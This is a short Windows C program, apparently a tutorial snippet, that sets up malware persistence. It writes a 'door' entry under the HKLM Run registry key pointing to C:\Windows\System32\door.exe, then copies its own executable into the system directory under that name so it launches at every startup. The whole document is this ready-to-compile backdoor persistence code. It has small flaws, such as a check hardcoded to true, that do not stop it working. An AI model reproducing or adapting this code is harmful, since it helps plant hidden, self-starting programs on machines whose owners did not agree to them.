#include <stdio.h>
#include <Windows.h>
#include <string.h>
int main() {
char regname[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
TCHAR path[] = "C:\\Windows\\System32\\door.exe";
HKEY hKey;
int ret;
ret = RegOpenKey(HKEY_LOCAL_MACHINE, regname, &hKey);
ret = RegSetValueEx(hKey, "door", 0, REG_EXPAND_SZ, (unsigned char *)path, strlen(path));
if (ret == ERROR_SUCCESS)
{
printf("success to write run key\n");
RegCloseKey(hKey);
}
else
{
printf("fail to set value. %d\n", ret);
system("pause");
return 0;
}
char modlepath[256];
char syspath[256];
GetModuleFileName(NULL, modlepath, 256);
//printf("%s\n", modlepath);
GetSystemDirectory(syspath, 256);
//printf("syspath:%s\n", syspath);
ret = CopyFile(modlepath, strcat(syspath, "\\door.exe"), 1);
if (true)
{
printf("%s has been copy to %s", modlepath, syspath);
}
else
{
printf("the file is exist");
}
//system("pause");
return 0;
}
效果